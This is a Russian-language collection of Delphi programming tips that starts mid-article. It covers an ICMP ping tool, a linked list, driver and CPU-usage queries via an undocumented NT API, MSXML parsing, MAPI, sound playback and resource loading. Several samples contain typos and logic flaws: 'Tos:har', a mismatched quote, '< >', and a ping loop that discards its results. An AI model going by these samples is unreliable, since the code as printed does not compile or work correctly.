Существует опасность использование интерфейса объекта, который был удален. Например, приложение запрашивает у рlugin'а какой-либо интерфейс, и начинает с ним работать. А plugin, как последняя редиска, вдруг выгружается. В итоге у приложения в руках оказыв ается ссылка на VMT, которой в действительности уже нету. Естественно, это ошибка программиста и за этим нужно следить. После того как интерфейс описан и начал использоваться - он не подлежит изменению (26). Если что-то нужно к нему добавить, следует сделать его наследника. Эту методику можно и в случае обыкновенных dll. Только (при компиляции dll без пакетов) следует иметь ввиду, что глобальный объект Application у приложения и dll будут разными и для доступа к главной форме из dll в последнюю надо будет передать Applicatio n из exe. При компиляции с VCL50 этого делать не нужно. Наверное, существует что-то еще (что определиться опытным путем в дальнейшем или умные люди подскажут …

Маааленькое PING-приложеньице.

Два интернетчика: - Попингуй! - От попингуя слышу.

Протокол Ping предназначен для тестирования компьютерных соединений в Интернете путём посылки через протокол Internet Protocol (IP) по обределённому адресу сообщения и ожидания от него ответа.

ICMP - Internet Control Message Protocol. ICMP служит для передачи сообщений об ошибках а так же управляющих сообщений . ICMP-тест может показать насколько быстро проходит информация между двумя узлами в Интернете.

Запускаем Delphi; В Новом проекте добавляем в форму Tbutton, Tedit и Tmemo; Вставляем “winsock”; объявляем структурку для IP-заголовка:
type
  IPINFO = record
  Ttl: char;
  Tos:har;
  IPFlags: char;
  OptSize: char;
  Options: ^char;
end;
объявляем структурку для хранения ICMP пакета:
type 
  ICMPECHO = record 
  Source: longint; 
  Status: longint; 
  RTTime: longint; 
  DataSize: Shortint; 
  Reserved: Shortint; 
  pData: ^variant; 
  i_ipinfo: IPINFO; 
end; 
Объявляем функции и процедуры, которые мы будем вызывать из ICMP.DLL
TIcmpCreateFile = function():integer;
{$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpCloseHandle = procedure(var handle: integer);
{$IFDEF WIN32} stdcall; {$ENDIF}
TIcmpSendEcho = function(var handle: integer; endereco: DWORD;
buffer: variant; tam: WORD; IP: IPINFO; ICMP: ICMPECHO;
tamicmp: DWORD; tempo: DWORD): DWORD;
{$IFDEF WIN32} stdcall; {$ENDIF}
В TButton в событие Onclick вставляем следующий код:
procedure TForm1.Button1Click(Sender: TObject);
var
  wsadt : wsadata;
  icmp :icmpecho;
  HNDicmp : integer;
  hndFile :integer;
  Host :PHostEnt;
  Destino :in_addr;
  Endereco :^DWORD;
  IP : ipinfo;
  Retorno :integer;
  dwRetorno :DWORD;
  x :integer;
  IcmpCreateFile : TIcmpCreateFile;
  IcmpCloseHandle : TIcmpCloseHandle;
  IcmpSendEcho : TIcmpSendEcho;
begin
  if (edit1.Text = '') then
  begin
    Application.MessageBox('Enter a HostName ro a IP Adress', 'Error', MB_OK);
    exit;
  end;
  HNDicmp := LoadLibrary('ICMP.DLL');
  if (HNDicmp <> 0) then
  begin
    @IcmpCreateFile := GetProcAddress(HNDicmp,'IcmpCreateFile');
    @IcmpCloseHandle := GetProcAddress(HNDicmp,'IcmpCloseHandle');
    @IcmpSendEcho := GetProcAddress(HNDicmp,'IcmpSendEcho');
    if (@IcmpCreateFile=nil) or (@IcmpCloseHandle=nil) or (@IcmpSendEcho=nil) then
    begin
      Application.MessageBox('Error getting ICMP Adress’,'Error', MB_OK);
      FreeLibrary(HNDicmp);
    end;
  end;
  Retorno := WSAStartup($0101,wsadt);
  if (Retorno <> 0) then
  begin
    Application.MessageBox('Canґt Load WinSockets','WSAStartup', MB_OK);
    WSACleanup();
    FreeLibrary(HNDicmp);
  end;
  Destino.S_addr := inet_addr(Pchar(Edit1.text));
  if (Destino.S_addr = 0) then
    Host := GetHostbyName(PChar(Edit1.text))
  else
    Host := GetHostbyAddr(@Destino,sizeof(in_addr), AF_INET);
  if (host = nil) then
  begin
    Application.MessageBox('Host not found','Error', MB_OK);
    WSACleanup();
    FreeLibrary(HNDicmp);
    exit;
  end;
  memo1.Lines.Add('Pinging ' + Edit1.text);
  Endereco := @Host.h_addr_list;
  HNDFile := IcmpCreateFile();
  for x:= 0 to 4 do
  begin
    Ip.Ttl := char(255);
    Ip.Tos := char(0);
    Ip.IPFlags := char(0);
    Ip.OptSize := char(0);
    Ip.Options := nil;
    dwRetorno := IcmpSendEcho(
    HNDFile,
    Endereco^,
    null,
    0,
    Ip,
    Icmp,
    sizeof(Icmp),
    DWORD(5000));
    Destino.S_addr := icmp.source;
    Memo1.Lines.Add('Ping ' + Edit1.text);
  end;
  IcmpCLoseHandle(HNDFile); 
  FreeLibrary(HNDicmp); 
  WSACleanup();
end;

У данного примера есть один недостаток - программа не воспримет доменное имя, только IP-адресс. Для пользователей NT не используйте функцию IcmpCloseHandle.

Это всё…..

Ну и в конце полный исходный код примера можно взять здесь.

Реализация Linked List Memory Table.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
 type
   TMyObjectPtr = ^TMyObject;
   TMyObject = record
     First_Name: String[20];
     Last_Name: String[20];
     Next: TMyObjectPtr;
   end;
 type
   TForm1 = class(TForm)
     bSortByLastName: TButton;
     bDisplay: TButton;
     bPopulate: TButton;
     ListBox1: TListBox;
     bClear: TButton;
     procedure bSortByLastNameClick(Sender: TObject);
     procedure bPopulateClick(Sender: TObject);
     procedure bDisplayClick(Sender: TObject);
     procedure bClearClick(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 var
   Form1: TForm1;
   pStartOfList: TMyObjectPtr = nil;
 {List manipulation routines}
 procedure SortMyObjectListByLastName(var aStartOfList: TMyObjectPtr);
 function CreateMyObject(aFirstName, aLastName: String): TMyObjectPtr;
 procedure AppendMyObject(var aCurrentItem, aNewItem: TMyObjectPtr);
 procedure ClearMyObjectList(var aMyObject: TMyObjectPtr);
 procedure RemoveMyObject(var aStartOfList, aRemoveMe: TMyObjectPtr);
 function AreInAlphaOrder(aString1, aString2: String): Boolean;
 implementation
 {$R *.DFM}
 procedure TForm1.bClearClick(Sender: TObject);
 begin
   ClearMyObjectList(pStartOfList);
 end;
 procedure TForm1.bPopulateClick(Sender: TObject);
 var
   pNew: TMyObjectPtr;
 begin
   {Initialize the list with some static data}
   pNew := CreateMyObject('Suzy','Martinez');
   AppendMyObject(pStartOfList, pNew);
   pNew := CreateMyObject('John','Sanchez');
   AppendMyObject(pStartOfList, pNew);
   pNew := CreateMyObject('Mike','Rodriguez');
   AppendMyObject(pStartOfList, pNew);
   pNew := CreateMyObject('Mary','Sosa');
   AppendMyObject(pStartOfList, pNew);
   pNew := CreateMyObject('Betty','Hayek');
   AppendMyObject(pStartOfList, pNew);
   pNew := CreateMyObject('Luke','Smith');
   AppendMyObject(pStartOfList, pNew);
   pNew := CreateMyObject('John','Sosa');
   AppendMyObject(pStartOfList, pNew);
 end;
 procedure TForm1.bSortByLastNameClick(Sender: TObject);
 begin
   SortMyObjectListByLastName(pStartOfList);
 end;
 procedure TForm1.bDisplayClick(Sender: TObject);
 var
   pTemp: TMyObjectPtr;
 begin
   {Display the list items}
   ListBox1.Items.Clear;
   pTemp := pStartOfList;
   while pTemp <> nil do
   begin
     ListBox1.Items.Add(pTemp^.Last_Name + ', ' + pTemp.First_Name);
     pTemp := pTemp^.Next;
   end;
 end;
 procedure ClearMyObjectList(var aMyObject: TMyObjectPtr);
 var
   TempMyObject: TMyObjectPtr;
 begin
   {Free the memory used by the list items}
   TempMyObject := aMyObject;
   while aMyObject <> nil do
   begin
     aMyObject := aMyObject^.Next;
     Dispose(TempMyObject);
     TempMyObject := aMyObject;
   end;
 end;
 function CreateMyObject(aFirstName, aLastName: String): TMyObjectPtr;
 begin
   {Instantiate a new list item}
   new(result);
   result^.First_Name := aFirstName;
   result^.Last_Name := aLastName;
   result^.Next := nil;
 end;
 procedure SortMyObjectListByLastName(var aStartOfList: TMyObjectPtr);
 var
   aSortedListStart, aSearch, aBest: TMyObjectPtr;
 begin
   {Sort the list by the Last_Name "field"}
   aSortedListStart := nil;
   while (aStartOfList <> nil) do
   begin
     aSearch := aStartOfList;
     aBest := aSearch;
     while aSearch^.Next <> nil do
     begin
       if not AreInAlphaOrder(aBest^.Last_Name, aSearch^.Last_Name) then
         aBest := aSearch;
       aSearch := aSearch^.Next;
     end;
     RemoveMyObject(aStartOfList, aBest);
     AppendMyObject(aSortedListStart, aBest);
   end;
   aStartOfList := aSortedListStart;
 end;
 procedure AppendMyObject(var aCurrentItem, aNewItem: TMyObjectPtr);
 begin
   {Recursive function that appends the new item to the end of the list}
   if aCurrentItem = nil then
     aCurrentItem := aNewItem
   else
     AppendMyObject(aCurrentItem^.Next, aNewItem);
 end;
 procedure RemoveMyObject(var aStartOfList, aRemoveMe: TMyObjectPtr);
 var
   pTemp: TMyObjectPtr;
 begin
   {Removes a specific item from the list and collapses the empty spot.}
   pTemp := aStartOfList;
   if pTemp = aRemoveMe then
     aStartOfList := aStartOfList^.Next
   else
   begin
     while (pTemp^.Next <> aRemoveMe) and (pTemp^.Next <> nil) do
       pTemp := pTemp^.Next;
     if pTemp = nil then Exit; //Shouldn't ever happen 
    if pTemp^.Next = nil then Exit; //Shouldn't ever happen 
    pTemp^.Next := aRemoveMe^.Next;
   end;
   aRemoveMe^.Next := nil;
 end;
 function AreInAlphaOrder(aString1, aString2: String): Boolean;
 var
   i: Integer;
 begin
   {Returns True if aString1 should come before aString2 in an alphabetic ascending sort}
   Result := True;
   while Length(aString2) < Length(aString1) do  aString2 := aString2 + '!';
   while Length(aString1) < Length(aString2) do  aString1 := aString1 + '!';
   for i := 1 to Length(aString1) do
   begin
     if aString1[i] > aString2[i] then Result := False;
     if aString1[i] <> aString2[i] then break;
   end;
 end;
 end.

Получить список загруженных драйверов под NT.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  This code takes advantage of the undocumented NtQuerySystemInformation 
  API to obtain a list of loaded drivers under Windows NT. 
  Dieser Code verwendet die undokumentiere NtQuerySystemInformation API Funktion 
  um eine Liste aller geladenen Treiber unter Windows NT zu ermitteln. 
}
 const
   DRIVER_INFORMATION = 11;
 type
   TPDWord = ^DWORD;
   TDriverInfo = packed record
     Address: Pointer;
     Unknown1: DWORD;
     Unknown2: DWORD;
     EntryIndex: DWORD;
     Unknown4: DWORD;
     Name: array [0..MAX_PATH + 3] of Char;
   end;
 var
   NtQuerySystemInformation: function (infoClass: DWORD;
   buffer: Pointer;
   bufSize: DWORD;
   returnSize: TPDword): DWORD; stdcall = nil;
   function GetDriverInfo: string;
   var
      temp, Index, numBytes, numEntries: DWORD;
     buf: TPDword;
     driverInfo: ^TDriverInfo;
   begin
     if @NtQuerySystemInformation = nil then
       NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),
         'NtQuerySystemInformation');
     // Obtain required buffer size 
    NtQuerySystemInformation(DRIVER_INFORMATION, @temp, 0, @numBytes);
     // Allocate buffer 
    buf := AllocMem(numBytes * 2);
     NtQuerySystemInformation(DRIVER_INFORMATION, buf, numBytes * 2, @numBytes);
     numEntries := buf^;
     driverInfo := Pointer(DWORD(buf) + 12);
     Result     := '';
     for Index := 1 to numEntries do
      begin
       Result := Result + #0$D#0$A+'Address: $' + IntToHex(DWORD(driverInfo^.Address), 8) +
         'Name: "' + (driverInfo^.Name) + '"';
       Inc(driverInfo);
     end;
     Delete(Result, 1, 2);
     FreeMem(buf);
   end;
   procedure TForm1.Button1Click(Sender: TObject);
   begin
     ListBox1.Items.Add(GetDriverInfo)
   end;
   // Thanks to Madshi for helping me translate from C++ Code 
  // Original Code (C++) : 
  //                             NtDriverList v1.0 
  //                      Copyright 1998, 1999 Yariv Kaplan 
  //                             WWW.INTERNALS.COM 

Загрузка и анализ документа XML.

Обмен информацией в формате XML - это чрезвычайно удобный механизм, позволяющий свести к минимуму проблемы внутрифирменных форматов данных. Эти проблемы сводятся к сложностям при обмене информацией с контрагентами фирмы. Зачастую проблема стоит не только в невозможности других воспринимать предлагаемый вами формат (DBF, ASCII и т.п.), сколько в нежелании приспосабливаться к ним. Эти форматы не очень удобны. К тому же у вашего партнера наверняка уже есть наработки в этой области. Так почему бы вам не приспособится к его формату обмена данными?

Язык XML позволяет разрабатывать форматы описания данных, которые могут стать тем мостиком, котрый свяжет всех контрагентов и устранит технические и психологические барьеры, неизбежно возникающие при приспособлении к чужим технологиям.

Технология XML тоже не назовешь родной, однако ее возможности и универсальность при описании текстовых данных перекрывают все сложности, связанные с ее освоением.

Формировать документы в формате XML достаточно просто. Следует лишь познакомится с конкретным DTD и образцами корректных документов. А вот загрузка может быть достаточно трудна, если не прибегать к помощи готовых решений в виде XML парсеров. Их довольно много для разных платформ и при желании можно найти их описания в WWW. Одним из наиболее распространенным на платформе Windows является Microsoft XML Parser. Дело в том, что он входит в состав Microsoft Explorer 5.0 и более позние версии. Он доступен в виде объекта ActiveX. Данный парсер является верифицирующим, то есть проверяет не только синтаксическую проверку документа, но и семантическую корректность в соответствии с заданным DTD.

Для загрузки и анализа документа в Delphi рассмотрим следующий код.

{Вспомогательная функция. Формирует текст сообщения об ошибке
Вход : Error: TXMLDOMParseError
Выход : Отчет об ошибке }
function getParseError(Error: Variant): string;
begin
  Result := 'Ошибка при загрузке документа ["' + Error.url + ' ]'#13#10
  + Error.reason + #13#10#13#10;
  if (Error.line > 0) then
    Result := Result + 'строка ' + Error.line + ', символ ' + error.linepos + #13#10
    + Error.srcText;
end;
{Загружает файл в Microsoft.XMLDOM. Строит дерево DOM в TreeView
Вход : Имя файла XML}
procedure TfImport.LoadOnixDoc(const FileName: string);
var
  XML, parseError: variant;
  Node, mainNode, childNodes: variant;
  i: integer;
  TreeNode: TTreeNode;
  { рекурсивно обходит дерево элементов и заполняет TreeView }
  procedure LoadItems(TreeNode: TTreeNode; Node: variant);
  var
    i: integer;
  begin
    TreeNode := TV.Items.AddChild(TreeNode, Node.nodeName);
    TreeNode.ImageIndex := TreeNode.Level;
    TreeNode.SelectedIndex := TreeNode.ImageIndex;
    if Node.nodeName = '#text' then
    begin
      TreeNode.Text := Node.nodeValue;
      TV.SetNodeBoldState(TreeNode, true);
    end;
    for i:=0 to Node.childNodes.length-1 do
      LoadItems(TreeNode, Node.childNodes.item[i]);
  end;
begin
  XML := CreateOleObject('Microsoft.XMLDOM');
  // async
  // Свойство, доступное для записи и чтения,
  // идентифицирующее текущий режим обработки (синхронный или асинхронный)
  XML.Async := false;
  // load(url)
  // Загружает документ, адрес которого задан параметром url.
  // В случае успеха возвращает логическое значение true. Необходимо иметь в виду,
  // что вызов этого метода сразу же обнуляет содержимое текущего документа
  XML.load(FileName);
  // Можно загружать из строки:
  // loadXML(xmlString)
  // Загружает XML - фрагмент, определенный в передаваемой строке
  // parseError
  // Возвращает ссылку на объект XMLDOMParseError, при помощи которого
  // можно получить всю необходимую информацию о последней ошибке анализатора. 
  // Только для чтения.
  if XML.parseError.errorCode <> 0 then
  begin
    ShowMessage( getParseError(XML.parseError) );
  end
  else
  begin
    mainNode := XML.documentElement;
    { Загрузка DOM в TreeView }
    LoadItems(nil, mainNode);
    // дерево DOM построено в TreeView
    TreeNode := TV.Items[1];
    while Assigned(TreeNode) do
    begin
      TreeNode.Expand(false);
      TreeNode := TreeNode.GetNextSibling;
    end;
    if Assigned(TV.Items[0]) then
      TV.Items[0].Expand(false);
  end;
end;

Пример документа XML Onix:

<?xml version="1.0" encoding="windows-1251"?> <!DOCTYPE ONIXMessage SYSTEM "onix-international.dtd"> <ONIXMessage release="1.1"> <FromCompany>ТД Библио-Глобус</FromCompany> <FromPerson>Kirillov Alexey kirillov@biblio-globus.u</FromPerson> <ToCompany>EDItEUR</ToCompany> <ToPerson>EDItEUR chief manager</ToPerson> <MessageNumber>1</MessageNumber> <SentDate>23.12.00</SentDate> <DefaultLanguageOfText>rus</DefaultLanguageOfText> <Product> <RecordReference>247825</RecordReference> <NotificationType>3</NotificationType> <ISBN>966-7393-05-4</ISBN> <ProductForm>BB</ProductForm> <DistinctiveTitle>SQL энциклопедия пользователя</DistinctiveTitle> <Contributor> <ContributorSequenceNumber>0</ContributorSequenceNumber> <ContributorRole>A01</ContributorRole> <PersonName>Х. Ладани</PersonName> <PersonNameInverted>Ладани, Х.</PersonNameInverted> <BiographicalNote>Книга раскрывает темы, которые часто не описываются или достаточно кратко представлены в руководствах пользователя - подзапросы, структуры данных, представления, производительность, целостность и защита данных. </BiographicalNote> </Contributor> <NumberOfPages>624</NumberOfPages> <ImprintName>ДиаСофт</ImprintName> <MediaFile> <MediaFileTypeCode>04</MediaFileTypeCode> <MediaFileFormatCode>03</MediaFileFormatCode> <MediaFileLinkTypeCode>06</MediaFileLinkTypeCode> <MediaFileLink> http://shop.biblio-globus.ru/photos1/05/58983.jpg </MediaFileLink> </MediaFile> <SupplyDetail> <SupplierName></SupplierName> <AvailabilityCode></AvailabilityCode> <Price> <PriceTypeCode>01</PriceTypeCode> <PriceAmount>425</PriceAmount> <CurrencyCode>RUB</CurrencyCode> </Price> </SupplyDetail> </Product> </ONIXMessage>

Как узнать загрузку процессора (NT – 2000 - XP).

Автор: http://www.swissdelphicenter.ch

const
  SystemBasicInformation = 0;
  SystemPerformanceInformation = 2;
  SystemTimeInformation = 3;
type
  TPDWord = ^DWORD;
  TSystem_Basic_Information = packed record
    dwUnknown1: DWORD;
    uKeMaximumIncrement: ULONG;
    uPageSize: ULONG;
    uMmNumberOfPhysicalPages: ULONG;
    uMmLowestPhysicalPage: ULONG;
    uMmHighestPhysicalPage: ULONG;
    uAllocationGranularity: ULONG;
    pLowestUserAddress: Pointer;
    pMmHighestUserAddress: Pointer;
    uKeActiveProcessors: ULONG;
    bKeNumberProcessors: byte;
    bUnknown2: byte;
    wUnknown3: word;
  end;
type
  TSystem_Performance_Information = packed record
    liIdleTime: LARGE_INTEGER; {LARGE_INTEGER}
    dwSpare: array[0..75] of DWORD;
  end;
type
  TSystem_Time_Information = packed record
    liKeBootTime: LARGE_INTEGER;
    liKeSystemTime: LARGE_INTEGER;
    liExpTimeZoneBias: LARGE_INTEGER;
    uCurrentTimeZoneId: ULONG;
    dwReserved: DWORD;
  end;
var
  NtQuerySystemInformation: function(infoClass: DWORD;
    buffer: Pointer;
    bufSize: DWORD;
    returnSize: TPDword): DWORD; stdcall = nil;
  liOldIdleTime: LARGE_INTEGER = ();
  liOldSystemTime: LARGE_INTEGER = ();
function Li2Double(x: LARGE_INTEGER): Double;
begin
  Result := x.HighPart * 4.294967296E9 + x.LowPart
end;
procedure GetCPUUsage;
var
  SysBaseInfo: TSystem_Basic_Information;
  SysPerfInfo: TSystem_Performance_Information;
  SysTimeInfo: TSystem_Time_Information;
  status: Longint; {long}
  dbSystemTime: Double;
  dbIdleTime: Double;
  bLoopAborted: boolean;
begin
  if @NtQuerySystemInformation = nil then
    NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),
      'NtQuerySystemInformation');
  // get number of processors in the system
  status := NtQuerySystemInformation(SystemBasicInformation, @SysBaseInfo,
    SizeOf(SysBaseInfo), nil);
  if status <> 0 then
    Exit;
  // Show some information
  with SysBaseInfo do
  begin
    ShowMessage(
      Format('uKeMaximumIncrement: %d'#13'uPageSize: %d'#13   +
      'uMmNumberOfPhysicalPages: %d' + #13 + 'uMmLowestPhysicalPage: %d' + #13 +
      'uMmHighestPhysicalPage: %d' + #13 + 'uAllocationGranularity: %d'#13 +
      'uKeActiveProcessors: %d'#13'bKeNumberProcessors: %d'  ,
      [uKeMaximumIncrement, uPageSize, uMmNumberOfPhysicalPages,
      uMmLowestPhysicalPage, uMmHighestPhysicalPage, uAllocationGranularity,
        uKeActiveProcessors, bKeNumberProcessors]));
  end;
  bLoopAborted := False;
  while not bLoopAborted do
  begin
    // get new system time
    status := NtQuerySystemInformation(SystemTimeInformation, @SysTimeInfo,
      SizeOf(SysTimeInfo), 0);
    if status <> 0 then
      Exit;
    // get new CPU's idle time
    status := NtQuerySystemInformation(SystemPerformanceInformation,
      @SysPerfInfo, SizeOf(SysPerfInfo), nil);
    if status <> 0 then
      Exit;
    // if it's a first call - skip it
    if (liOldIdleTime.QuadPart <> 0) then
    begin
      // CurrentValue = NewValue - OldValue
      dbIdleTime := Li2Double(SysPerfInfo.liIdleTime) -
        Li2Double(liOldIdleTime);
      dbSystemTime := Li2Double(SysTimeInfo.liKeSystemTime) -
        Li2Double(liOldSystemTime);
      // CurrentCpuIdle = IdleTime / SystemTime
      dbIdleTime := dbIdleTime / dbSystemTime;
      // CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors
      dbIdleTime := 100.0 - dbIdleTime * 100.0 / SysBaseInfo.bKeNumberProcessors
        + 0.5;
      // Show Percentage
      Form1.Label1.Caption := FormatFloat('CPU Usage: 0.0 %', dbIdleTime);
      Application.ProcessMessages;
      // Abort if user pressed ESC or Application is terminated
      bLoopAborted := (GetKeyState(VK_ESCAPE) and 128 = 128) or
        Application.Terminated;
    end;
    // store new CPU's idle and system time
    liOldIdleTime := SysPerfInfo.liIdleTime;
    liOldSystemTime := SysTimeInfo.liKeSystemTime;
    // wait one second
    Sleep(1000);
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  GetCPUUsage
end;

Как загрузить адресную книгу.

Автор: Севостьянов Игорь
Возвращается домой в хлам пьяный программист. По пути заглядывает в почтовый ящик и обнаруживает там письмо. Прочитав его, на обороте пишет ответ, и запечатав письмо кладет обратно в свой ящик. Утром, идя на работу в том же состоянии, опять заглядывает в почтовый ящик и обнаруживает вчерашнее письмо. - Блин, я же ставил не сохранять отправленные письма.
uses Mapi;
...
procedure TfrmMain.btnOpenAddressBookClick(Sender: TObject);
var
  lhSession, rc: Cardinal;
  lpnNewRecips: PULONG;
  lppNewRecips: PMapiRecipDesc;
  lpRecips: MapiRecipDesc;
begin
  lpnNewRecips := nil;
  rc := MAPILogon(0, 'Севостьянов Игорь', '', MAPI_LOGON_UI, 0, @lhSession);
  if (rc < > SUCCESS_SUCCESS) then
    SysErrorMessage(rc);
  rc := MAPIAddress(lhSession, 0, 'Адресная книга', 0, '', 0, lpRecips, 0, 0,
    lpnNewRecips, lppNewRecips);
  if (rc < > SUCCESS_SUCCESS) then
    SysErrorMessage(rc)
  else
    rc := MAPIFreeBuffer(lppNewRecips); // free the memory used by MAPIAddress
  if (rc < > SUCCESS_SUCCESS) then
    SysErrorMessage(rc);
  rc := MAPILogoff(lhSession, 0, 0, 0);
  if (rc < > SUCCESS_SUCCESS) then
    SysErrorMessage(rc);
end;

Есть еще и в Deplhi Help C:\Program Files\Common Files\Borland Shared\MSHelp\mapi.hlp.

Заставить приложение загружать и проигрывать звуковой файл.

Священник, врач и программист играли вместе в гольф. Переходя от лунки к лунке, они вскорости догнали трех игроков, которые двигались страшно медленно. Возмущенные, они вызвали управляющего и спросили его, в чем дело?... Управляющий: - Видите ли, несколько лет тому назад в нашем клубе был пожар. А эти трое ребят спасли нас от полного уничтожения. К сожалению, в результате ожогов они потеряли зрение. А мы в знак благодарности разрешили им играть у нас в гольф совершенно бесплатно. Священник (сконфуженно): - О!!! Я буду горячо молиться, чтобы Бог вернул им зрение!! Врач (виновато): - Я знаком с одним из лучших офтальмологов мира. Может, он сможет... Программист (небрежно): - А че они ночью не играют!
Для проигрывания звукового файла используйте непосредственно функцию sndPlaySound(). Считывайте звуковой файл в память, затем для его проигрывания используйте sndPlaySound() Используйте sndPlaySound для непосредственного проигрывания звуковых файлов, расположенных в файлах ресурсов, прилинкованных к вашему приложению. Считывайте звуковой файл, располагаемый в файле ресурса, прилинкованному к вашему приложению, в память, и затем для его проигрывания используйте sndPlaySound().Для построения проекта вам понадобиться: Создайте звуковой файл с именем 'hello.wav' в каталоге проекта. Создайте текстовый файл с именем 'snddata.rc' в каталоге проекта. Добавьте следующую строку к файлу 'snddata.rc': HELLO WAVE hello.wav В dos-сессии перейдите в ваш каталог приложения и скомпилируйте .rc-файл, используя компилятор ресурсов Borland (brcc32.exe): введите путь к brcc32.exe и передайте 'snddata.rc' в качестве параметра.Пример: bin\brcc32 snddata.rc Это создаст файл 'snddata.res', который Delphi слинкует с EXE-файлом вашего приложения.

Далее приведен необходимый вам код:

unit PlaySnd1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    PlaySndFromFile: TButton;
    PlaySndFromMemory: TButton;
    PlaySndbyLoadRes: TButton;
    PlaySndFromRes: TButton;
    procedure PlaySndFromFileClick(Sender: TObject);
    procedure PlaySndFromMemoryClick(Sender: TObject);
    procedure PlaySndFromResClick(Sender: TObject);
    procedure PlaySndbyLoadResClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
{$R snddata.res}
uses MMSystem;
procedure TForm1.PlaySndFromFileClick(Sender: TObject);
begin
  sndPlaySound('hello.wav', SND_FILENAME or SND_SYNC);
end;
procedure TForm1.PlaySndFromMemoryClick(Sender: TObject);
var
  f: file;
  p: pointer;
  fs: integer;
begin
  AssignFile(f, 'hello.wav');
  Reset(f, 1);
  fs := FileSize(f);
  GetMem(p, fs);
  BlockRead(f, p^, fs);
  CloseFile(f);
  sndPlaySound(p, SND_MEMORY or SND_SYNC);
  FreeMem(p, fs);
end;
procedure TForm1.PlaySndFromResClick(Sender: TObject);
begin
  PlaySound('HELLO', hInstance, SND_RESOURCE or SND_SYNC);
end;
procedure TForm1.PlaySndbyLoadResClick(Sender: TObject);
var
  h: THandle;
  p: pointer;
begin
  h := FindResource(hInstance, 'HELLO', 'WAVE');
  h := LoadResource(hInstance, h);
  p := LockResource(h);
  sndPlaySound(p, SND_MEMORY or SND_SYNC);
  UnLockResource(h);
  FreeResource(h);
end;
end.

Как загрузить и отмасштабировать JPEGImage в TImage.

try
  Image1.Picture.Graphic := nil;
  Image1.Picture.LoadFromFile(jpegfile);
except
  on EInvalidGraphic do
    Image1.Picture.Graphic := nil;
end;
if Image1.Picture.Graphic is TJPEGImage then
begin
  TJPEGImage(Image1.Picture.Graphic).Scale := Self.Scale;
  TJPEGImage(Image1.Picture.Graphic).Performance := jpBestSpeed;
end;

Загрузка Bitmap из .res без потери палитры.

procedure loadgraphic(naam:string);
var
  HResInfo: THandle;
  BMF: TBitmapFileHeader;
  MemHandle: THandle;
  Stream: TMemoryStream;
  ResPtr: PByte;
  ResSize: Longint;
  null:array [0..8] of char;
begin
  strpcopy (null, naam);
  HResInfo := FindResource(HInstance, null, RT_Bitmap);
  ResSize := SizeofResource(HInstance, HResInfo);
  MemHandle := LoadResource(HInstance, HResInfo);
  ResPtr := LockResource(MemHandle);
  Stream := TMemoryStream.Create;
  try
    Stream.SetSize(ResSize + SizeOf(BMF));
    BMF.bfType := $4D42;
    Stream.write(BMF, SizeOf(BMF));
    Stream.write(ResPtr^, ResSize);
    Stream.Seek(0, 0);
    Bitmap:=tbitmap.create;
    Bitmap.LoadFromStream(Stream);
  finally
    Stream.Free;
  end;
  FreeResource(MemHandle);
end;

Как загрузить иконку CD-ROM.

Автор: http://www.swissdelphicenter.ch

function GetCDIcon(Drive: Char): TIcon;
var
  ico: TIcon;
  ini: TIniFile;
  s, p: string;
  i, j: Integer;
begin
  //Abbrechen wenn "AutoRun.Inf" nicht existiert.
  //Abort if "AutoRun.inf" doesn't exists.
  if FileExists(Drive + ':\autorun.inf') = False then
    Exit;
  //"AutoRun.inf" offnen
  //Opens the "AutoRun.inf"
  ini := TIniFile.Create(Drive + ':\autorun.inf');
  ico := TIcon.Create;
  try
    //Dateinamen lesen
    //Read the filename
    s := ini.ReadString('Autorun', 'ICON', '');
    //Abbrechen, wenn kein Icon festgelegt wurde
    //Abort if there is no icon specified
    if s = '' then
      Exit;
    //Icon von Datei laden
    //load the icon from a file
    if FileExists(s) then
      ico.LoadFromFile(s);
    if FileExists(Drive + ':\' + s) then
      ico.LoadFromFile(Drive + ':\' + s);
    //Icon aus einer Resource laden
    //Load the icon from a Win32 resource
    if (FileExists(s) = False) and (FileExists(Drive + ':\' + s) = False) then
    begin
      for j := (Pos(',', s) + 1) to Length(s) do
      begin
        p := p + s[j];
      end;
      i := StrToInt(p);
      for j := Length(s) downto (Pos(',', s)) do
        Delete(s, j, Length(s));
      if FileExists(s) = False then
        s := Drive + ':\' + s;
      ico.Handle := ExtractIcon(hinstance, PChar(s), i);
    end;
    Result := ico;
  finally
    ini.Free;
  end;
end;

Работа с ресурсами – загрузка иконки и курсора.

Автор: Xavier Pacheco

{
Copyright © 1998 by Delphi 4 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
program resource;
uses
  Forms,
  MainFrm in 'MainFrm.pas' {MainForm};
{$R *.RES}
{$R RESFILE2.RES} // Add the additional resource file
begin
  Application.Initialize;
  Application.CreateForm(TMainForm, MainForm);
  Application.Run;
end.
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
  Windows, Forms, Controls, Classes, StdCtrls, ExtCtrls;
const
  crXHair = 1; // Declare a constant for the new cursor. This value
type // must be a positive number. or less than -20.
  TMainForm = class(TForm)
    imgBitmap: TImage;
    btnChemicals: TButton;
    btnClear: TButton;
    btnChangeIcon: TButton;
    btnNewCursor: TButton;
    btnOldCursor: TButton;
    btnOldIcon: TButton;
    btnAthena: TButton;
    procedure btnChemicalsClick(Sender: TObject);
    procedure btnClearClick(Sender: TObject);
    procedure btnChangeIconClick(Sender: TObject);
    procedure btnNewCursorClick(Sender: TObject);
    procedure btnOldCursorClick(Sender: TObject);
    procedure btnOldIconClick(Sender: TObject);
    procedure btnAthenaClick(Sender: TObject);
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
